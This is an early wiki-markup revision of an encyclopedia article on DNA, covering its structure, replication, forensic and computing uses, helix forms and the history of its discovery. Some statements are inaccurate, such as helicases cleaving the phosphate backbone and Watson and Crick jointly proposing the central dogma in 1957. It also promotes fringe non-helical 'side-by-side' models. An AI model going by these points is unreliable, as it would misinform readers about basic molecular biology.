NOTE: Please refrain from editing the lead section without first discussing any changes on the discussion page for this article. Arriving at a generally acceptable basic account for the general reader has engaged the considerable efforts of many people. Transforming this section into another highly-accurate-but-impossible-to-read one is something that needs to be avoided. Those who have worked long and hard to formulate this introduction have assumed from the beginning that it is not put forth as a very accurate description, and that it is only meant as a generic overview. Please trust readers to look further into the article for a more nuanced presentation of the fine points. --&gt;   
[[Image:DNA_Overview.png|thumb|270px|The general structure of a section of DNA]]
'''Deoxyribonucleic acid''' ('''DNA''') is a [[nucleic acid]] &amp;mdash;usually in the form of a double [[helix]]&amp;mdash; that contains the [[genetics|genetic]] instructions specifying the [[developmental biology|biological development]] of all cellular forms of [[life]], and most [[virus]]es.  DNA is a long polymer of [[nucleotides]] and encodes the sequence of the [[amino acid residue]]s in [[protein]]s using the [[genetic code]], a triplet code of [[nucleotide]]s.

In complex [[eukaryote|eukaryotic]] [[Cell (biology)|cells]] such as those from [[plant]]s, [[animal]]s, [[fungi]] and [[protist]]s, most of the DNA is located in the [[cell nucleus]]. By contrast, in simpler cells called [[prokaryotes]], including the [[bacterium|eubacteria]] and [[archaea]], DNA is not separated from the [[cytoplasm]] by a [[nuclear envelope]]. The cellular [[organelle]]s known as [[chloroplast]]s and [[mitochondria]] also carry DNA.

DNA is often referred to as the molecule of [[heredity]] as it is responsible for the genetic propagation of most [[biological inheritance|inherited]] [[Trait (biological)|trait]]s. In humans, these traits can range from hair colour to disease susceptibility. During [[cell division]], DNA is [[DNA replication|replicated]] and can be transmitted to offspring during [[reproduction]]. [[Kinship and descent|Lineage]] studies can be done based on the facts that the [[mitochondrial DNA]] only comes from the mother, and the male [[Y chromosome]] only comes from the father.

Every person's DNA, their [[genome]], is inherited from both parents. The mother's [[mitochondrial DNA]] together with twenty-three [[chromosome]]s from each parent combine to form the genome of a [[zygote]], the [[fertilization|fertilized]] [[ovum|egg]]. As a result, with certain exceptions such as [[red blood cell]]s, most human cells contain 23 pairs of chromosomes, together with mitochondrial DNA inherited from the mother.

==Overview==
[[Image:DNA123.png|thumb|right|125px|Space-filling model of a section of DNA molecule]]
[[Image:DNA Under electron microscope Image 3576B-PH.jpg|thumb|right|250px|DNA Under electron microscope]]
This section presents an introductory and therefore incomplete overview of DNA.
* Genes can be loosely viewed as the organism's &quot;cookbook&quot; or &quot;blueprint&quot;;
* A strand of DNA contains [[gene]]s, areas that [[gene regulation|regulate genes]], and areas that either have no function, or a function [[junk DNA|which we do not (yet) know]]; also see last bullet point in this section for the difference between DNA and RNA;
* DNA is organized as two complementary strands, head-to-toe, with [[hydrogen bond]]s between them that can be &quot;unzipped&quot; like a zipper, separating the strands &amp;mdash; contrary to a common misconception, DNA is not a single molecule, but rather a pair of molecules joined by these bonds;
* DNA is a chain of chemical &quot;building blocks&quot;, called &quot;[[base pair|bases]]&quot;, of which there are four types: these can be abbreviated [[Adenine|A]], [[Thymine|T]], [[Cytosine|C]], and [[Guanine|G]]. Each base can only &quot;pair up&quot; with one single predetermined other base: A+T, T+A, C+G and G+C are the only possible combinations; that is, an &quot;A&quot; on one strand of double-stranded DNA will &quot;mate&quot; properly only with a &quot;T&quot; on the other, complementary strand;
** &lt;small&gt;[[Uracil|U]] replaces T, notably in PBS1 phage DNA; [[Uracil|U]] replaces T in RNA.&lt;/small&gt;
* The allowable base components of nucleic acids can be [[polymerized]] in any order giving the molecules a high degree of uniqueness;
* DNA is an acid because of the phosphate groups between each deoxyribose.  This the primary reason why DNA has a negative charge.
* The &quot;polarity&quot; of each pair is important: A+T is not the same as T+A, just as C+G is not the same as G+C (note that &quot;polarity&quot; as such is never used in this context -- it's just a suggestive way to get the idea across);
* For each given base, there is just one possible complementary base, so naming the bases on the conventionally chosen side of the strand is enough to describe the entire double-strand sequence;
* The genetic [[information]] contained in a strand of DNA is determined by the [[DNA sequence|sequence]] of bases along its length;
* The cell begins [[DNA replication]] by forcibly unzipping the DNA double strand down the middle, and then recreates the &quot;other half&quot; of each new single strand by exposing each half to a mixture of the four bases. An enzyme makes a new strand by finding the correct base in the mixture and pairing it with the original strand. In this way, the base on the old strand dictates which base will be on the new strand, and the cell ends up with an extra copy of its DNA.
* [[Mutation]]s are simply chemical imperfections in this process: a base is accidentally skipped, inserted, or incorrectly copied, or the chain is trimmed, or added to; many basic mutations can be described as combinations of these accidental &quot;operations&quot;. Mutations can also occur through chemical damage (through [[mutagens]]), light ([[Ultraviolet|UV]] damage), or through other more complicated gene swapping events.
*[[Deoxyribozyme|DNA molecules that act as enzymes]] are known in laboratories, but none have been known to be found in life so far.
* In addition to the traditionally viewed duplex form of DNA, DNA can also acquire triplex and quadraplex forms. Here instead of the Watson Crick base pairing, Hoogsten base pairing comes into picture.
* DNA differs from [[ribonucleic acid]] (RNA) by having a sugar 2-deoxyribose instead of [[ribose]] in its backbone. This is the basic chemical distinction between RNA and DNA.

===DNA pairing===
[[Image:Dna_pairing_aa.gif|thumb|300px|DNA base pairing]]
The paired bases are joined by [[hydrogen bond]]s. This image shows the normal base pairing. And also how on rare occasions, wrong pairing can happen, when [[thymine]] goes into its [[enol]] form or [[cytosine]] goes into its [[imino]] form.

==DNA in practice==

===DNA in crime===
[[Forensic science|Forensic scientists]] can use DNA located in [[blood]], [[semen]], [[skin]], [[saliva]] or hair left at the scene of a crime to identify a possible suspect, a process called [[genetic fingerprinting]] or DNA profiling.  In DNA profiling the relative lengths of sections of repetitive DNA, such as [[short tandem repeats]] and [[minisatellite]]s, are compared.  DNA profiling was developed in 1984 by English geneticist [[Alec Jeffreys]], and was first used to convict Colin Pitchfork in 1988 in the [[Enderby murders]] case in [[Leicestershire]], [[England]].  Many jurisdictions require convicts of certain types of crimes to provide a sample of DNA for inclusion in a computerized database.  This has helped investigators solve old cases where the perpetrator was unknown and only a DNA sample was obtained from the scene (particularly in [[rape]] cases between strangers).  This method is one of the most reliable techniques for identifying a criminal, but is not always perfect, for example if no DNA can be
retrieved, or if the scene is contaminated with the DNA of several possible suspects.

===DNA in computation ===
An extremely important note: Despite its biological origins, DNA plays an important role in [[computer science]], both as a motivating research problem and as a method of computation in itself, called [[DNA computing]], not only for biological origins.

As a simple example, research on [[string searching algorithm]]s, which find an occurrence of a sequence of letters inside a larger sequence of letters, was motivated by DNA research, where it is used to find specific sequences of nucleotides in a large sequence. In other applications like [[text editor]]s, even simple algorithms for this problem usually suffice, but DNA sequences cause these algorithms to exhibit near-worst-case behavior due to their small number of distinct characters.

[[Database]]s have also been strongly motivated by DNA research, which requires special tools for storing and manipulating DNA sequences. Databases specialized for this purpose are called [[genomic database]]s, and have a number of unique technical challenges associated with the operations of approximate matching, sequence comparison, finding repeating patterns, and homology searching.

In 1994, Leonard Adleman of the [[University of Southern California]] made headlines when he discovered a way of solving the directed [[Hamiltonian path problem]], an [[NP-complete]] problem, using tools from molecular biology, in particular DNA. The new approach, dubbed [[DNA computing]], has practical advantages over traditional computers in power use, space use, and efficiency, due to its ability to highly parallelize the computation (see [[parallel computing]]), although there is labor worth mentioning involved in retrieving the answers. A number of other problems, including simulation of various [[abstract machine]]s, the [[boolean satisfiability problem]], and the bounded version of the [[Post correspondence problem]], have since been analyzed using DNA computing.

Due to its compactness, DNA also has a theoretical role in [[cryptography]], where in particular it allows unbreakable [[one-time pad]]s to be efficiently constructed and used [http://www.citeseer.ist.psu.edu/gehani99dnabased.html].

=== DNA in historical and anthropological study ===

DNA research is also used to follow the course of human populations over time.

DNA evidence is also being used to try to identify the [[Ten Lost Tribes of Israel]] [http://www.pbs.org/wgbh/nova/transcripts/2706israel.html] [http://www.aish.com/societywork/sciencenature/the_cohanim_-_dna_connection.asp]

DNA has also been used to look at fairly recent issues of family relationships, such as establishing some manner of familial relationship between the descendents of [[Sally Hemings]] and the family of [[Thomas Jefferson]].

==Molecular structure==
[[Image:NA-comparedto-DNA thymineAndUracilCorrected.png|right|400px|thumb|Comparisons between DNA and single stranded RNA with the diagram of the bases showing.]]
Although sometimes called &quot;the molecule of heredity&quot;, DNA macromolecules as people typically think of them are not single molecules. Rather, they are pairs of molecules, which entwine like vines to form a '''double [[helix]]''' (see the illustration at the right).

Each vine-like molecule is a strand of DNA: '''a chemically linked chain of [[nucleotide]]s, each of which consists of a [[sugar]] ([[deoxyribose]]), a [[phosphate]] and one of five kinds of [[nucleobase]]s (&quot;bases&quot;)'''. Because DNA strands are composed of these nucleotide subunits, they are [[polymer]]s.

The diversity of the bases means that there are five kinds of nucleotides, which are commonly referred to by the identity of their bases. These are [[adenine]] (A), [[thymine]] (T), [[uracil]] (U), [[cytosine]] (C), and [[guanine]] (G). U is rarely found in DNA except as a result of chemical degradation of C, but in some viruses, notably PBS1 phage DNA, U completely replaces the usual T in its DNA. Similarly, RNA usually contains U in place of T, but in certain RNAs such as [[transfer RNA]], T is always found in some positions. Thus, the only true difference between DNA and RNA is the sugar, 2-deoxyribose in DNA and ribose in RNA.

In a DNA double helix, two polynucleotide strands can associate through the [[hydrophobic effect]] and [[pi stacking]]. Specificity of which strands stay associated is determined by [[base pair|complementary pairing]]. Each base forms [[hydrogen bond]]s readily to only one other -- A to T and C to G -- so that the identity of the base on one strand dictates the strength of the association; the more complementary bases exist, the stronger and longer-lasting the association.

The cell's machinery is capable of ''melting'' or disassociating a DNA double helix, and using each  DNA strand as a template for synthesizing a new strand which is nearly identical to the previous strand.  Errors that occur in the synthesis are known as [[mutations]].  The process known as [[Polymerase chain reaction|PCR]] (polymerase chain reaction) mimics this process [[in vitro]] in a nonliving system.

Because pairing causes the nucleotide bases to face the helical axis, the sugar and phosphate groups of the nucleotides run along the outside; the two chains they form are sometimes called the &quot;'''backbones'''&quot; of the helix. In fact, it is chemical bonds between the phosphates and the sugars that link one nucleotide to the next in the DNA strand.

{{multi-video start}}
{{multi-video item |
  filename      = ADN animation.gif |
  title         = Rotating DNA stick model |
  description   = Animation of a section of DNA rotating. (1.00 [[Megabyte|MB]], [[animated GIF]] format). |
  format        = [[animated GIF]]
}}
{{multi-video end}}

==Sequence role==
Within a gene, the sequence of [[nucleotides]] along a DNA strand defines a messenger RNA sequence which then defines a [[protein]], that an [[organism]] is liable to manufacture or &quot;[[gene expression|express]]&quot; at one or several points in its life using the information of the sequence.  The relationship between the nucleotide sequence and the [[amino acid|amino-acid]] sequence of the protein is determined by simple cellular rules of [[Translation (genetics)|translation]], known collectively as the [[genetic code]]. The genetic code is made up of three-letter 'words' (termed a codon) formed from a sequence of three nucleotides (e.g. ACT, CAG, TTT).  These codons can then be translated with [[messenger RNA]] and then [[transfer RNA]], with a codon corresponding to a particular amino acid.  There are 64 possible codons (4 bases in 3 places &lt;math&gt;4^3&lt;/math&gt;) that encode 20 amino acids. Most amino acids, therefore, have more than one possible codon.  There are also three 'stop' or 'nonsense' codons signifying
the end of the coding region, namely the UAA, UGA and UAG codons.

In many [[species]], only a small fraction of the total sequence of the [[genome]] appears to encode protein.  For example, only about 1.5% of the [[human genome]] consists of protein-coding [[exons]].  The function of the rest is a matter of speculation. It is known that certain nucleotide sequences specify affinity for [[DNA binding protein]]s, which play a wide variety of vital roles, in particular through control of replication and transcription. These sequences are frequently called [[regulatory sequence]]s, and researchers assume that so far they have identified only a tiny fraction of the total that exist. &quot;[[Junk DNA]]&quot; represents sequences that do not yet appear to contain genes or to have a function.  The reasons for the presence of so much [[non-coding DNA]] in [[eukaryotic]] genomes and the extraordinary differences in [[genome size]] (&quot;[[C-value]]&quot;) among species represent a long-standing puzzle in DNA research known as the &quot;[[C-value enigma]]&quot;.

Some DNA sequences play structural roles in chromosomes. [[Telomer]]s and [[centromere]]s typically contain few (if any) protein-coding genes, but are important for the function and stability of chromosomes. Some genes code for &quot;RNA genes&quot; (see [[tRNA]] and [[rRNA]]). Some RNA genes code for transcripts that function as regulatory RNAs (see [[RNA interference|siRNA]]) that influence the function of other RNA molecules. The intron-exon structure of some genes (such as immunoglobin and protocadeherin genes) is important for allowing alternative splicing of pre-mRNA which allows several different proteins to be made from the same gene. Some non-coding DNA represents [[pseudogene]]s that can be used as raw material for the creation of new genes with new functions. Some non-coding DNA provided hot-spots for duplication of short DNA regions; such sequence duplication has been the major form of genetic change in the human lineage (see evidence from the [[Chimpanzee Genome Project]]). Exons interspersed with introns
allows for &quot;exon shuffling&quot; and the creation of modified genes that might have new adaptive functions. Large amounts of non-coding DNA is probably adaptive in that it provides chromosomal regions where [[Genetic recombination|recombination]] between homologous portions of chromosomes can take place without disrupting the function of genes. Some biologists such as [[Stuart Kauffman]] have speculated that non-coding DNA may modify the rate of evolution of a species.{{fact}}

Sequence also determines a DNA segment's susceptibility to cleavage by [[restriction enzyme]]s, the quintessential tools of [[genetic engineering]]. The position of cleavage sites throughout an individual's genome determines one kind of an individual's &quot;[[DNA fingerprinting|DNA fingerprint]]&quot;.

==Replication==
''Main article:'' [[DNA replication]]
[[image:dna-split.png|frame|DNA replication]]
&lt;!-- summary has been added, below, also include any extra context relevant for this article as well

..[[origin of replication]]...chromosome...plasmid...DNA polymerase...[[mutation]]...[a paragraph including these ideas would be useful and go well here]
--&gt;
DNA replication or DNA synthesis is the process of copying the double-stranded DNA prior to [[cell division]].  The two resulting double strands are generally almost perfectly identical, but occasionally errors in replication or exposure to chemicals, or radiation can result in a less than perfect copy (see [[mutation]]), and each of them consists of one original and one newly synthesized strand. This is called ''[[semiconservative replication]]''.  The process of replication consists of three steps: ''initiation'', ''elongation'' and ''termination''.

==Mechanical biological properties==
''Main article:'' [[Mechanical properties of DNA]].

===Strands association and dissociation===
The hydrogen bonds between the strands of the double helix are weak enough that they can be easily separated by [[enzyme]]s. Enzymes known as [[helicase]]s unwind the strands to facilitate the advance of sequence-reading enzymes such as [[DNA polymerase]]. The unwinding requires that helicases chemically cleave the phosphate backbone of one of the strands so that it can swivel around the other. The strands can also be separated by gentle heating, as used in [[PCR]], provided they have fewer than about 10,000 '''base pairs''' (10 kilobase pairs, or 10 kbp). The intertwining of the DNA strands makes long segments difficult to separate.

===Circular DNA===
When the ends of a piece of double-helical DNA are joined so that it forms a circle, as in [[plasmid]] DNA, the strands are [[knot theory|topologically]] knotted. This means they cannot be separated by gentle heating or by any process that does not involve breaking a strand. The task of unknotting topologically linked strands of DNA falls to enzymes known as [[topoisomerase]]s. Some of these enzymes unknot circular DNA by cleaving two strands so that another double-stranded segment can pass through. Unknotting is required for the replication of circular DNA as well as for various types of [[recombination]] in linear DNA.

===Great length versus tiny breadth===
The narrow breadth of the double helix makes it impossible to detect by conventional [[transmission electron microscope|electron microscopy]], except by heavy staining. At the same time, the DNA found in many cells can be macroscopic in length -- approximately 2 [[meter]]s long for strands in a human chromosome [http://hypertextbook.com/facts/1998/StevenChen.shtml]. Consequently, cells must compact or &quot;package&quot; DNA to carry it within them. This is one of the functions of the chromosomes, which contain spool-like [[protein]]s known as [[histone]]s, around which DNA winds.

===Entropic stretching behavior===
When DNA is in solution, it undergoes conformational fluctuations due to the energy available in the [[thermal bath]]. For [[Entropy|entropic]] reasons, more floppy states are thermally accessible than stretched out states; for this reason, a single molecule of DNA stretches similarly to a rubber band. Using [[optical tweezers]], the entropic stretching behavior of DNA has been studied and analyzed from a [[polymer physics]] perspective, and it has been found that DNA behaves like the ''Kratky-Porod'' [[worm-like chain]] model with a persistence length of about 53 nm.

Furthermore, DNA undergoes a stretching [[phase transition]] at a force of 65 [[Newtons|pN]]; above this force, DNA is thought to take the form that [[Linus Pauling]] originally hypothesized, with the phosphates in the middle and bases splayed outward. This proposed structure for overstretched DNA has been called &quot;P-form DNA,&quot; in honor of Pauling.

===Different helix geometries===
The DNA helix can assume one of three slightly different geometries, of which the &quot;B&quot; form described by [[James D. Watson]] and [[Francis Crick]] is believed to predominate in cells. It is 2 [[nanometre]]s wide and extends 3.4 nanometres per 10 [[Base pair|bp]] of sequence. This is also the approximate length of sequence in which the double helix makes one complete turn about its axis. This frequency of twist (known as the helical ''pitch'') depends largely on stacking forces that each base exerts on its neighbors in the chain.

====Supercoiled DNA====
{{main|Supercoil}}
The B form of the DNA helix twists 360° per 10 bp in the absence of strain. But many molecular biological processes can induce strain. A DNA segment with excess or insufficient helical twisting is referred to, respectively, as positively or negatively &quot;supercoiled&quot;. DNA ''in vivo'' is typically negatively supercoiled, which facilitates the unwinding of the double-helix required for [[transcription (genetics)|RNA transcription]].

====Sugar pucker====
There are four conformations that the [[ribofuranose]] rings in nucleotides can acquire:
# C-2' endo
# C-2' exo
# C-3' endo
# C-3' exo
Ribose is usually in C-3'endo, while deoxyribose is usually in the C-2' endo sugar pucker conformation.
The A and B forms differ mainly in their ''sugar pucker''.  In the A form, the C3' configuration is above the sugar ring, whilst the C2' configuration is below it.  Thus, the A form is described as &quot;C3'-endo.&quot;  Likewise, in the B form, the C2' configuration is above the sugar ring, whilst C3' is below; this is called &quot;C2'-endo.&quot;  Altered sugar puckering in A-DNA results in shortening the distance between adjacent phosphates by around one angstrom.  This gives 11 to 12 base pairs to each helix in the DNA strand, instead of 10.5 in B-DNA.  Sugar pucker gives uniform ribbon shape to DNA, a cylindrical open core, and also a deep major groove more narrow and pronounced that grooves found in B-DNA.

====A and Z helices formation====
The two other known double-helical forms of DNA, called A and [[Z-DNA|Z]], differ modestly in their geometry and dimensions. The A form appears likely to occur only in dehydrated samples of DNA, such as those used in [[crystallography|crystallographic]] experiments, and possibly in hybrid pairings of DNA and [[RNA]] strands. Segments of DNA that cells have [[methylation|methylated]] for regulatory purposes may adopt the Z geometry, in which the strands turn about the helical axis like a mirror image of the B form.

====Properties of different helical forms====
{| border=&quot;0&quot; align=&quot;center&quot; style=&quot;border: 1px solid #999; background-color:#FFFFFF&quot;
|-align=&quot;center&quot; bgcolor=&quot;#CCCCCC&quot;
!Geometry attribute
!A-form
!B-form
!Z-form
|-
|Helix sense ||align=&quot;center&quot;| right-handed ||align=&quot;center&quot;| right-handed ||align=&quot;center&quot;| left-handed
|--bgcolor=&quot;#EFEFEF&quot;
|Repeating unit ||align=&quot;right&quot;| 1 bp ||align=&quot;right&quot;| 1 bp ||align=&quot;right&quot;| 2 bp
|-----
|Rotation/bp ||align=&quot;right&quot;| 33.6° ||align=&quot;right&quot;| 35.9° ||align=&quot;right&quot;| 60°/2
|--bgcolor=&quot;#EFEFEF&quot;
|Mean bp/turn ||align=&quot;right&quot;| 10.7 ||align=&quot;right&quot;| 10.4 ||align=&quot;right&quot;| 12
|-----
|Inclination of bp to axis ||align=&quot;right&quot;| +19° ||align=&quot;right&quot;| -1.2° ||align=&quot;right&quot;| -9°
|--bgcolor=&quot;#EFEFEF&quot;
|Rise/bp along axis ||align=&quot;right&quot;| 0.23 nm ||align=&quot;right&quot;| 0.332 nm ||align=&quot;right&quot;| 0.38 nm
|-----
|Pitch/turn of helix ||align=&quot;right&quot;| 2.46 nm ||align=&quot;right&quot;| 3.32 nm ||align=&quot;right&quot;| 4.56 nm
|--bgcolor=&quot;#EFEFEF&quot;
|Mean propeller twist ||align=&quot;right&quot;| +18° ||align=&quot;right&quot;| +16° ||align=&quot;right&quot;| 0°
|-----
|Glycosyl angle ||align=&quot;center&quot;| anti ||align=&quot;center&quot;| anti ||align=&quot;center&quot;| C: anti,&lt;br&gt; G: syn
|--bgcolor=&quot;#EFEFEF&quot;
|Sugar pucker ||align=&quot;center&quot;| C3'-endo ||align=&quot;center&quot;| C2'-endo ||align=&quot;center&quot;| C: C2'-endo,&lt;br&gt;G: C2'-exo
|-----
|Diameter ||align=&quot;right&quot;| 2.6 nm ||align=&quot;right&quot;| 2.0 nm ||align=&quot;right&quot;| 1.8 nm
|--bgcolor=&quot;#EFEFEF&quot;
|}

===Non-helical forms===
Other, including non-helical, forms of DNA have been described, for example a side-by-side (SBS) configuration. Indeed, it is far from certain that the B-form double helix is the dominant form in living cells.

A detailed study of the experimental results remaining to be explained by the double helix model is set out in a whole book freely available as a pdf file from:

http://www.notahelix.com/delmonte/new_struct_mol_biol.pdf

and a recent research paper summarises some key experimental data which are better explained by SBS models than by the double helix:

http://www.ias.ac.in/currsci/dec102003/1564.pdf

with subsequent correspondence:

http://www.ias.ac.in/currsci/may252004/1352.pdf

==Strand direction==
The asymmetric shape and linkage of nucleotides means that a DNA strand always has a discernible orientation or directionality. Because of this directionality, close inspection of a double helix reveals that nucleotides are heading one way along one strand (the &quot;''ascending strand''&quot;), and the other way along the other strand (the &quot;''descending strand''&quot;). This arrangement of the strands is called '''antiparallel'''.

===Chemical nomenclature ([[5' end|5']] and [[3' end|3']])===
For reasons of chemical nomenclature, people who work with DNA refer to the asymmetric ends of (&quot;five prime&quot; and &quot;three prime&quot;). Within a cell, the enzymes that perform [[DNA replication|replication]] and [[DNA transcription|transcription]] read DNA in the &quot;'''[[3' end|3']] to [[5' end|5']] direction'''&quot;, while the enzymes that perform translation read in the opposite direction (on [[RNA|RNA]]). However, because chemically produced DNA is synthesized and manipulated in the opposite or in non-directional manners, the orientation should not be assumed. In a vertically oriented double helix, the [[3' end|3']] strand is said to be ascending while the [[5' end|5']] strand is said to be descending.

===Sense and antisense===
As a result of their antiparallel arrangement and the sequence-reading preferences of enzymes, even if both strands carried identical instead of complementary sequences, cells could properly translate only one of them. The other strand a cell can only read backwards. [[molecular biology|Molecular biologists]] call a sequence &quot;'''sense'''&quot; if it is translated or translatable, and they call its complement  &quot;'''antisense'''&quot;. It follows then, somewhat paradoxically, that the template for transcription is the ''antisense'' strand. The resulting transcript is an RNA replica of the ''sense'' strand and is itself ''sense.''

===Distinction between sense and antisense strands===
A small proportion of genes in [[prokaryotes]], and more in [[plasmids]] and [[viruses]], blur the distinction made above between sense and antisense strands. Certain sequences of their [[genome|genomes]] do double duty, encoding one protein when read 5' to 3' along one strand, and a second protein when read in the opposite direction (still 5' to 3') along the other strand. As a result, the genomes of these viruses are unusually compact for the number of genes they contain, which biologists view as an [[adaptation (biology)|adaptation]]. This merely confirms that there is no biological distinction between the two strands of the double helix. Indeed, typically each strand of a DNA double helix will act as sense and antisense in different regions.

===As viewed by topologists===
Topologists like to note that the juxtaposition of the [[3′ end]] of one DNA strand beside the [[5′ end]] of the other at both ends of a double-helical segment makes the arrangement a &quot;[[crab canon]]&quot;.

==Single-stranded DNA (ssDNA) and repair of mutations==
In some [[virus]]es DNA appears in a non-helical, single-stranded form. Because many of the [[DNA repair]] mechanisms of cells work only on paired bases, viruses that carry single-stranded DNA [[genome]]s [[mutation|mutate]] more frequently than they would otherwise. As a result, such species may adapt more rapidly to avoid extinction. The result would not be so favorable in more complicated and more slowly replicating organisms, however, which may explain why only viruses carry single-stranded DNA. These viruses presumably also benefit from the lower cost of replicating one strand versus two.

==History of DNA research==
[[Image:JamesWatson.jpg|thumb|200px|[[James D. Watson|James Watson]] in the [[Cavendish Laboratory]] at the [[University of Cambridge]]]]
The discovery that DNA was the carrier of genetic information was a process that required many earlier discoveries. The existence of DNA was discovered in the mid 19th century. However, it was only in the early 20th century that researchers began suggesting that it might store genetic information. This was only accepted after the structure of DNA was elucidated by [[James D. Watson]] and [[Francis Crick]] in their 1953 [[Nature (journal)|''Nature'']] publication. Watson and Crick proposed the [[central dogma]] of molecular biology in 1957, describing the process whereby proteins are produced from [[cell nucleus|nucleic]] DNA. In 1962 Watson, Crick, and [[Maurice Wilkins]] jointly received the Nobel Prize for their determination of the structure of DNA.

===First isolation of DNA===
Working in the 19th century, biochemists initially isolated DNA and RNA (mixed together) from cell nuclei. They were relatively quick to appreciate the polymeric nature of their &quot;nucleic acid&quot; isolates, but realized only later that nucleotides were of two types--one containing [[ribose]] and the other [[deoxyribose]]. It was this subsequent discovery that led to the identification and naming of DNA as a substance distinct from RNA.

[[Friedrich Miescher]] (1844-1895) discovered a substance he called &quot;nuclein&quot; in 1869. Somewhat later, he isolated a pure sample of the material now known as DNA from the sperm of salmon, and in 1889 his pupil, [[Richard Altmann]], named it  &quot;nucleic acid&quot;.  This substance was found to exist only in the chromosomes.

In 1929 [[Phoebus Levene]] at the [[Rockefeller Institute]] identified the components (the four bases, the sugar and the phosphate chain) and he showed that the components of DNA were linked in the order phosphate-sugar-base.  He called each of these units a [[nucleotide]] and suggested the DNA molecule consisted of a string of nucleotide units linked together through the phosphate groups, which are the 'backbone' of the molecule.  However Levene thought the chain was short and that the bases repeated in the same fixed order.  [[Torbjorn Oskar Caspersson|Torbjorn Caspersson]] and [[Einar Hammersten]] showed that DNA was a polymer.

===Chromosomes and inherited traits===
[[Max Delbrück]], [[Nikolai V. Timofeeff-Ressovsky]], and [[Karl G. Zimmer]] published results in 1935 suggesting that chromosomes are very large molecules the structure of which can be changed by treatment with [[X-ray]]s, and that by so changing their structure it was possible to change the heritable characteristics governed by those chromosomes.  In 1937 [[William Astbury]] produced the first [[X-ray diffraction]] patterns from DNA.  He was not able to propose the correct structure but the patterns showed that DNA had a regular structure and therefore it might be possible to deduce what this structure was.

In 1943, [[Oswald Theodore Avery]] and a team of scientists discovered that traits proper to the &quot;smooth&quot; form of the ''Pneumococcus'' could be transferred to the &quot;rough&quot; form of the same bacteria merely by making the killed &quot;smooth&quot; (S) form available to the live &quot;rough&quot; (R) form. Quite unexpectedly, the living R ''Pneumococcus'' bacteria were transformed into a new strain of the S form, and the transferred S characteristics turned out to be heritable. Avery called the medium of transfer of traits the [[transforming principle]]; he identified DNA as the transforming principle, and not [[protein]] as previously thought. He essentially redid [[Fredrick Griffith]]'s experiment. In 1953, [[Alfred Hershey]] and [[Martha Chase]] did an experiment [[Hershey-Chase experiment| (Hershey-Chase experiment) ]] that showed, in [[T2 phage]], that DNA is the [[genetic material]] (Hershey shared the Nobel prize with Luria).

[[Image:FirstSketchOfDNADoubleHelix.jpg|thumb|200px|[[Francis Crick]]'s first sketch of the [[deoxyribonucleic acid]] double-helix pattern]]
In 1944, the renowned physicist, [[Erwin Schrödinger]], published a brief book entitled ''[[What is Life? (Schrödinger)| What is Life?]]'', where he maintained that chromosomes contained what he called the &quot;hereditary code-script&quot; of life.  He added: &quot;But the term code-script is, of course, too narrow. The chromosome structures are at the same time instrumental in bringing about the development they foreshadow. They are law-code and executive power -- or, to use another simile, they are architect's plan and builder's craft -- in one.&quot;  He conceived of these dual functional elements as being woven into the molecular structure of chromosomes.  By understanding the exact molecular structure of the chromosomes one could hope to understand both the &quot;architect's plan&quot; and also how that plan was carried out through the &quot;builder's craft.&quot;  Three groups took up Schrödinger's challenge to work out the structure of the chromosomes and the question of how the segments of the chromosomes that were conceived to relate to specific traits could
possibly do their jobs.

Just how the presence of specific features in the molecular structure of chromosomes could produce traits and behaviors in living organisms was unimaginable at the time. Because chemical dissection of DNA samples always yielded the same four nucleotides, the chemical composition of DNA appeared simple, perhaps even uniform. Organisms, on the other hand, are fantastically complex individually and widely diverse collectively. Geneticists did not speak of genes as conveyors of &quot;information&quot; in such words, but if they had, they would not have hesitated to quantify the amount of information that genes need to convey as vast. The idea that information might reside in a chemical in the same way that it exists in text--as a finite alphabet of letters arranged in a sequence of unlimited length--had not yet been conceived. It would emerge upon the discovery of DNA's structure, but few researchers imagined that DNA's structure had much to say about genetics.

===Discovery of the structure of DNA===
In the 1950s, three groups made it their goal to determine the structure of DNA. The first group to start was at [[King's College London]] and was led by [[Maurice Wilkins]] and was later joined by [[Rosalind Franklin]].  Another group consisting of [[Francis Crick]] and [[James D. Watson]] was at [[University of Cambridge|Cambridge]].  A third group was at [[Caltech]] and was led by [[Linus Pauling]].  Crick and Watson built physical models using metal rods and balls, in which they incorporated the known chemical structures of the nucleotides, as well as the known position of the linkages joining one nucleotide to the next along the polymer. At King's College Maurice Wilkins and Rosalind Franklin examined [[crystallography|X-ray diffraction]] patterns of DNA fibers.  Of the three groups, only the London group was able to produce good quality diffraction patterns and thus produce sufficient quantitative data about the structure.

[[Image:DNA-labels.png|thumb|200px|The chemical structure of DNA]]

====Helix structure====
In 1948 Pauling discovered that many proteins included helical (see [[alpha helix]]) shapes. Pauling had deduced this structure from X-ray patterns. (Pauling was also later to suggest an incorrect three chain helical structure based on Astbury's data.)  Even in the initial diffraction data from DNA by Maurice Wilkins, it was evident that the structure involved helices. But this insight was only a beginning. There remained the questions of how many strands came together, whether this number was the same for every helix, whether the bases pointed toward the helical axis or away, and ultimately what were the explicit angles and coordinates of all the bonds and atoms. Such questions motivated the modeling efforts of Watson and Crick.

====Complementary nucleotides====
In their modeling, Watson and Crick restricted themselves to what they saw as chemically and biologically reasonable. Still, the breadth of possibilities was very wide. A breakthrough occurred in 1952, when [[Erwin Chargaff]] visited Cambridge and inspired Crick with a description of experiments Chargaff had published in 1947. Chargaff had observed that the proportions of the four nucleotides vary between one DNA sample and the next, but that for particular pairs of nucleotides -- adenine and thymine, guanine and cytosine -- the two nucleotides are always present in equal proportions.

====Watson and Crick's model====
[[Image:DNA Model Crick-Watson.jpg|thumb|200px|right|Crick and Watson DNA model built in 1953, currently on display at the [[National Science Museum]] in London.]]

[[James D. Watson|Watson]] and [[Francis Crick|Crick]] had begun to contemplate double helical arrangements, but they lacked information about the amount of twist (pitch) and the distance between the two strands. [[Rosalind Franklin]] had to disclose some of her findings for the [[Medical Research Council]] and Crick saw this material through [[Max Perutz|Max Perutz's]] links to the MRC.  Franklin's work confirmed a double helix that was on the outside of the molecule and also gave an insight into its symmetry, in particular that the two helical strands ran in opposite directions.

Watson and Crick were again greatly assisted by more of Franklin's data.  This is controversial because Franklin's critical X-ray pattern was shown to Watson and Crick without Franklin's knowledge or permission. Wilkins showed the famous Photo 51 to Watson at his lab immediately after Watson had been unsuccessful in asking Franklin to collaborate to beat Pauling in finding the structure.

From the data in photograph 51 Watson and Crick were able to discern that not only was the distance between the two strands constant, but also to measure its exact value of 2 nanometres. The same photograph also gave them the 3.4 nanometre-per-10 bp &quot;pitch&quot; of the helix.

